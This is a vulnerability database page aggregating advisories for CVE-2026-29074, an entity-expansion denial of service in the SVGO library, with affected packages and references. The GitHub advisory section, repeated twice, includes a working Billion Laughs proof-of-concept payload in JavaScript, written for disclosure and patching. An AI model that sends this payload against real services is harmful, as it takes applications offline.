CVE-2026-29074
SVGO: DoS through entity expansion in DOCTYPE (Billion Laughs)
SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
SVGO: DoS through entity expansion in DOCTYPE (Billion Laughs)
SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.
- Record
CVE-2026-29074- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-776, CWE-776
- Updated
- 2026-11-02
EUVDEUVD-2026-10022
7.5
SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.
- Record
EUVD-2026-10022- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-xpqw-6gx7-v673
7.5
SVGO DoS through entity expansion in DOCTYPE (Billion Laughs)
Summary
SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory.
Details
The upstream XML parser (sax) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the DOCTYPE, inserting them into parser.ENTITIES, and enabled unparsedEntities. This gives us the desired behavior of supporting SVGs with entities declared in the DOCTYPE.
However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them.
Proof of Concept
import { optimize } from 'svgo';
/** Presume that this string was obtained in some other way, such as network. */
const original = `
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
`;
optimize(original);
Impact
If SVGO is run on untrusted input (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash the application with an SVG < 1 KB in size.
It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines.
Patches
SVGO has patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore.
Workarounds
== 4.0.0
For v4, users do not specifically have to upgrade SVGO, though it is recommended to do so. A package manager can be used to upgrade sax recursively:
For example:
yarn up -R sax
New options were introduced upstream which makes the way SVGO parses SVGs safe by default.
>= 2.1.0, <= 3.3.2
Users of v3 and v2 will have to take manual action. If users can't upgrade, they may be able to work around this as long as the project doesn't require support for custom XML entities, though it's not a simple flag.
Parse the DOCTYPE directly and check for the presence of custom entities. If entities are present, throw/escape before passing them to SVGO.
+ import SAX from 'sax';
import { optimize } from 'svgo';
- const original =`
+ let original = `
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
`;
+ const parser = SAX.parser();
+ /** @param {string} doctype */
+ parser.ondoctype =…
- Record
GHSA-xpqw-6gx7-v673- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-776
- Updated
- 2026-11-02
NVD
7.5
SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.
- Record
CVE-2026-29074- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-776
- Updated
- 2026-11-02
OSV
7.5
SVGO: DoS through entity expansion in DOCTYPE (Billion Laughs)
SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.
- Record
CVE-2026-29074- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-776
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-29074
7.5
SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.
- Record
DEBIAN-CVE-2026-29074- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 8 moreShow less
OSVGHSA-xpqw-6gx7-v673
7.5
SVGO DoS through entity expansion in DOCTYPE (Billion Laughs)
Summary
SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory.
Details
The upstream XML parser (sax) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the DOCTYPE, inserting them into parser.ENTITIES, and enabled unparsedEntities. This gives us the desired behavior of supporting SVGs with entities declared in the DOCTYPE.
However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them.
Proof of Concept
import { optimize } from 'svgo';
/** Presume that this string was obtained in some other way, such as network. */
const original = `
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
`;
optimize(original);
Impact
If SVGO is run on untrusted input (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash the application with an SVG < 1 KB in size.
It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines.
Patches
SVGO has patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore.
Workarounds
== 4.0.0
For v4, users do not specifically have to upgrade SVGO, though it is recommended to do so. A package manager can be used to upgrade sax recursively:
For example:
yarn up -R sax
New options were introduced upstream which makes the way SVGO parses SVGs safe by default.
>= 2.1.0, <= 3.3.2
Users of v3 and v2 will have to take manual action. If users can't upgrade, they may be able to work around this as long as the project doesn't require support for custom XML entities, though it's not a simple flag.
Parse the DOCTYPE directly and check for the presence of custom entities. If entities are present, throw/escape before passing them to SVGO.
+ import SAX from 'sax';
import { optimize } from 'svgo';
- const original =`
+ let original = `
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
`;
+ const parser = SAX.parser();
+ /** @param {string} doctype */
+ parser.ondoctype =…
- Record
GHSA-xpqw-6gx7-v673- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-776
- Updated
- 2026-11-02
OSVRHSA-2026:13512
9.1
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update
- Record
RHSA-2026:13512- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVRHSA-2026:6277
7.5
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
- Record
RHSA-2026:6277- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1779324470 No score
TuxCare security update for svgo (1 CVE)
TuxCare rebuilt svgo to address 1 CVE. Fixed in 2.8.0-tuxcare.1.
- Record
CLSA-2026-1779324470- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:12070-1 No score
velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media
These are all security issues fixed in the velociraptor-0.76.7.0.git145.b60ef1146-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:12070-1- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-29074 No score
CVE-2026-29074 in svgo - Patched by Root
Root has patched CVE-2026-29074 in the svgo package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-29074- Updated
- 2026-11-02
OSVSUSE-SU-2026:2005-1 No score
Security update for cockpit
This update for cockpit fixes the following issues
- CVE-2026-0775: npm: loading of modules from an unsecured location can be used for local privilege escalation and arbitrary code execution in the context of a target user (bsc#1256521).
- CVE-2026-4802: remote command execution via unsanitized user-controlled parameters within crafted links in system logs UI (bsc#1265040).
- CVE-2026-29074: svgo: no guard against entity expansion or recursion when processing XML with custom entities can lead to DoS (bsc#1259290).
- Record
SUSE-SU-2026:2005-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:2019-1 No score
Security update for cockpit
This update for cockpit fixes the following issues
- CVE-2026-0775: npm: loading of modules from an unsecured location can be used for local privilege escalation and arbitrary code execution in the context of a target user (bsc#1256521).
- CVE-2026-4802: remote command execution via unsanitized user-controlled parameters within crafted links in system logs UI (bsc#1265040).
- CVE-2026-29074: svgo: no guard against entity expansion or recursion when processing XML with custom entities can lead to DoS (bsc#1259290).
- Record
SUSE-SU-2026:2019-1- Updated
- 2026-11-02
Affected products
- svg svgo
- svgo
- red hat cryostat 4
- red hat gatekeeper 3
- red hat multicluster engine for kubernetes
- red hat openshift pipelines
- red hat openshift service mesh 3
- red hat 3scale api management platform 2
- red hat advanced cluster management for kubernetes 2
- red hat advanced cluster security 4.8
- red hat ansible automation platform 2
- red hat ansible automation platform 2.5
Show 37 moreShow less
- red hat ansible automation platform 2.5 for rhel 8
- red hat ansible automation platform 2.5 for rhel 9
- red hat ansible automation platform 2.6
- red hat ansible automation platform 2.6 for rhel 9
- red hat build of apicurio registry 2
- red hat build of optaplanner 8
- red hat data grid 8
- red hat developer hub 1.8
- red hat developer hub 1.9
- red hat enterprise linux 8
- red hat enterprise linux 9
- red hat enterprise linux ai (rhel ai) 3
- red hat fuse 7
- red hat jboss enterprise application platform 8
- red hat jboss enterprise application platform expansion pack
- red hat openshift ai 2.16
- red hat openshift ai 2.25
- red hat openshift ai 3.3
- red hat openshift container platform 4
- red hat openshift dev spaces
- red hat openshift dev spaces 3.28
- red hat openshift distributed tracing 3
- red hat openshift service mesh 2.6
- red hat openshift service mesh 3.0
- red hat openshift service mesh 3.1
- red hat openshift service mesh 3.2
- red hat openshift service mesh 3.3
- red hat quay 3.10
- red hat quay 3.12
- red hat quay 3.14
- red hat quay 3.15
- red hat quay 3.16
- red hat quay 3.17
- red hat quay 3.18
- red hat quay 3.9
- red hat single sign-on 7
- red hat self-service automation portal 2
Affected packages
| Package | Affected | Fixed |
|---|---|---|
svgonpm |
2.1.0 up to 2.8.1 | 2.8.1 |
svgonpm |
3.0.0 up to 3.3.3 | 3.3.3 |
svgonpm |
4.0.0 to 4.0.0 | 4.0.1 |
svgoTuxCare:npm |
2.8.0-tuxcare.0 up to 2.8.0-tuxcare.1, plus listed versions 2.8.0 |
2.8.0-tuxcare.1 |
node-svgoDebian:14 |
before 3.3.5+ds-1, plus listed versions 3.3.2+ds-1 |
3.3.5+ds-1 |
svgonpm |
4.0.0 up to 4.0.1 | 4.0.1 |
python3.12-markdownRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:3.10.2-1.el8ap | 0:3.10.2-1.el8ap |
python3.12-markdownRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:3.10.2-1.el9ap | 0:3.10.2-1.el9ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el8ap | 0:2.5.20260422-2.el8ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el9ap | 0:2.5.20260422-2.el9ap |
Show 59 moreShow less
| Package | Affected | Fixed |
|---|---|---|
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:4.6.28-3.el8ap | 0:4.6.28-3.el8ap |
python3.12-django-ansible-base+activitystreamRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el8ap | 0:2.5.20260422-2.el8ap |
python3.12-django-ansible-base+api_documentationRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el8ap | 0:2.5.20260422-2.el8ap |
python3.12-django-ansible-base+authenticationRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el8ap | 0:2.5.20260422-2.el8ap |
python3.12-django-ansible-base+channel_authRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el8ap | 0:2.5.20260422-2.el8ap |
python3.12-django-ansible-base+feature_flagsRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el8ap | 0:2.5.20260422-2.el8ap |
python3.12-django-ansible-base+jwt_consumerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el8ap | 0:2.5.20260422-2.el8ap |
python3.12-django-ansible-base+oauth2_providerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el8ap | 0:2.5.20260422-2.el8ap |
python3.12-django-ansible-base+rbacRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el8ap | 0:2.5.20260422-2.el8ap |
python3.12-django-ansible-base+redis_clientRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el8ap | 0:2.5.20260422-2.el8ap |
python3.12-django-ansible-base+rest_filtersRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el8ap | 0:2.5.20260422-2.el8ap |
python3.12-django-ansible-baseRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el8ap | 0:2.5.20260422-2.el8ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:4.6.28-3.el9ap | 0:4.6.28-3.el9ap |
python3.12-django-ansible-base+activitystreamRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el9ap | 0:2.5.20260422-2.el9ap |
python3.12-django-ansible-base+api_documentationRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el9ap | 0:2.5.20260422-2.el9ap |
python3.12-django-ansible-base+authenticationRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el9ap | 0:2.5.20260422-2.el9ap |
python3.12-django-ansible-base+channel_authRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el9ap | 0:2.5.20260422-2.el9ap |
python3.12-django-ansible-base+feature_flagsRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el9ap | 0:2.5.20260422-2.el9ap |
python3.12-django-ansible-base+jwt_consumerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el9ap | 0:2.5.20260422-2.el9ap |
python3.12-django-ansible-base+oauth2_providerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el9ap | 0:2.5.20260422-2.el9ap |
python3.12-django-ansible-base+rbacRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el9ap | 0:2.5.20260422-2.el9ap |
python3.12-django-ansible-base+redis_clientRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el9ap | 0:2.5.20260422-2.el9ap |
python3.12-django-ansible-base+rest_filtersRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el9ap | 0:2.5.20260422-2.el9ap |
python3.12-django-ansible-baseRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.5.20260422-2.el9ap | 0:2.5.20260422-2.el9ap |
python3.12-pyasn1Red Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:0.6.3-1.el8ap | 0:0.6.3-1.el8ap |
python3.12-pyasn1Red Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:0.6.3-1.el9ap | 0:0.6.3-1.el9ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 12 CVEs |
before 0:1.6.4-2.el8ap | 0:1.6.4-2.el8ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 12 CVEs |
before 0:1.6.4-2.el8ap | 0:1.6.4-2.el8ap |
automation-gateway-proxyRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.5.10-5.el8ap | 0:2.5.10-5.el8ap |
automation-gateway-proxy-debugsourceRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.5.10-5.el8ap | 0:2.5.10-5.el8ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.5.10-5.el8ap | 0:2.5.10-5.el8ap |
automation-gateway-proxy-server-debuginfoRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.5.10-5.el8ap | 0:2.5.10-5.el8ap |
receptorRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:1.6.4-2.el8ap | 0:1.6.4-2.el8ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 12 CVEs |
before 0:1.6.4-2.el9ap | 0:1.6.4-2.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 12 CVEs |
before 0:1.6.4-2.el9ap | 0:1.6.4-2.el9ap |
automation-gateway-proxyRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.6.14-2.el9 | 0:2.6.14-2.el9 |
automation-gateway-proxy-debugsourceRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.6.14-2.el9 | 0:2.6.14-2.el9 |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.6.14-2.el9 | 0:2.6.14-2.el9 |
automation-gateway-proxy-server-debuginfoRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.6.14-2.el9 | 0:2.6.14-2.el9 |
receptorRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:1.6.4-2.el9ap | 0:1.6.4-2.el9ap |
python3.12-pyOpenSSLRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:26.0.0-1.el8ap | 0:26.0.0-1.el8ap |
python3.12-pyOpenSSLRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:26.0.0-1.el9ap | 0:26.0.0-1.el9ap |
python3.12-pyjwt+cryptoRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.12.1-1.el8ap | 0:2.12.1-1.el8ap |
python3.12-pyjwtRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:2.12.1-1.el8ap | 0:2.12.1-1.el8ap |
python3.12-pyjwt+cryptoRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.12.1-1.el9ap | 0:2.12.1-1.el9ap |
python3.12-pyjwtRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:2.12.1-1.el9ap | 0:2.12.1-1.el9ap |
python3.12-jwcryptoRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 12 CVEs |
before 0:1.5.7-1.el8ap | 0:1.5.7-1.el8ap |
python3.12-jwcryptoRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 12 CVEs |
before 0:1.5.7-1.el9ap | 0:1.5.7-1.el9ap |
automation-gateway-proxyRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 7 CVEs |
before 0:2.6.14-1.el9 | 0:2.6.14-1.el9 |
automation-gateway-proxy-debugsourceRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 7 CVEs |
before 0:2.6.14-1.el9 | 0:2.6.14-1.el9 |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 7 CVEs |
before 0:2.6.14-1.el9 | 0:2.6.14-1.el9 |
automation-gateway-proxy-server-debuginfoRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 7 CVEs |
before 0:2.6.14-1.el9 | 0:2.6.14-1.el9 |
automation-platform-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 7 CVEs |
before 0:2.6.7-1.el9ap | 0:2.6.7-1.el9ap |
python3.12-pillowRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 7 CVEs |
before 0:12.1.1-1.el9ap | 0:12.1.1-1.el9ap |
python3.12-pillow-debuginfoRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 7 CVEs |
before 0:12.1.1-1.el9ap | 0:12.1.1-1.el9ap |
python3.12-pillow-debugsourceRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 7 CVEs |
before 0:12.1.1-1.el9ap | 0:12.1.1-1.el9ap |
svgoRoot:npm |
before 2.8.0-aikido.5 | 2.8.0-aikido.53.3.2-aikido.32.8.0-aikido.22.8.0-aikido.33.3.2-aikido.13.3.2-aikido.22.8.0-aikido.43.3.3-aikido.33.3.3-aikido.13.3.3-aikido.2 |
@rootio/svgoRoot:npm |
before 2.8.0-root.io.1 | 2.8.0-root.io.12.8.0-root.io.53.3.2-root.io.32.8.0-root.io.22.8.0-root.io.33.3.2-root.io.13.3.2-root.io.22.8.0-root.io.43.3.3-root.io.33.3.3-root.io.13.3.3-root.io.2 |
velociraptoropenSUSE:Tumbleweed From an advisory covering 40 CVEs |
before 0.76.7.0.git145.b60ef1146-1.1 | 0.76.7.0.git145.b60ef1146-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-29074 is a high vulnerability (CVSS 7.5) in Svg Svgo, published March 4, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.70%, the 53rd percentile. Fixed in svgo 2.8.1.
References
github.com/svg/svgo/security/advisories/GHSA-xpqw-6gx7-v673
access.redhat.com/security/cve/CVE-2026-29074
bugzilla.redhat.com/show_bug.cgi?id=2445132
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-29074.json
access.redhat.com/errata/RHSA-2026:13512
access.redhat.com/errata/RHSA-2026:6277
Show 188 moreShow less
access.redhat.com/errata/RHSA-2026:7110
access.redhat.com/errata/RHSA-2026:13553
access.redhat.com/errata/RHSA-2026:6309
access.redhat.com/errata/RHSA-2026:13545
access.redhat.com/errata/RHSA-2026:9742
access.redhat.com/errata/RHSA-2026:13826
access.redhat.com/errata/RHSA-2026:5807
access.redhat.com/errata/RHSA-2026:24977
access.redhat.com/errata/RHSA-2026:19712
access.redhat.com/errata/RHSA-2026:21772
access.redhat.com/errata/RHSA-2026:8483
access.redhat.com/errata/RHSA-2026:8484
access.redhat.com/errata/RHSA-2026:8490
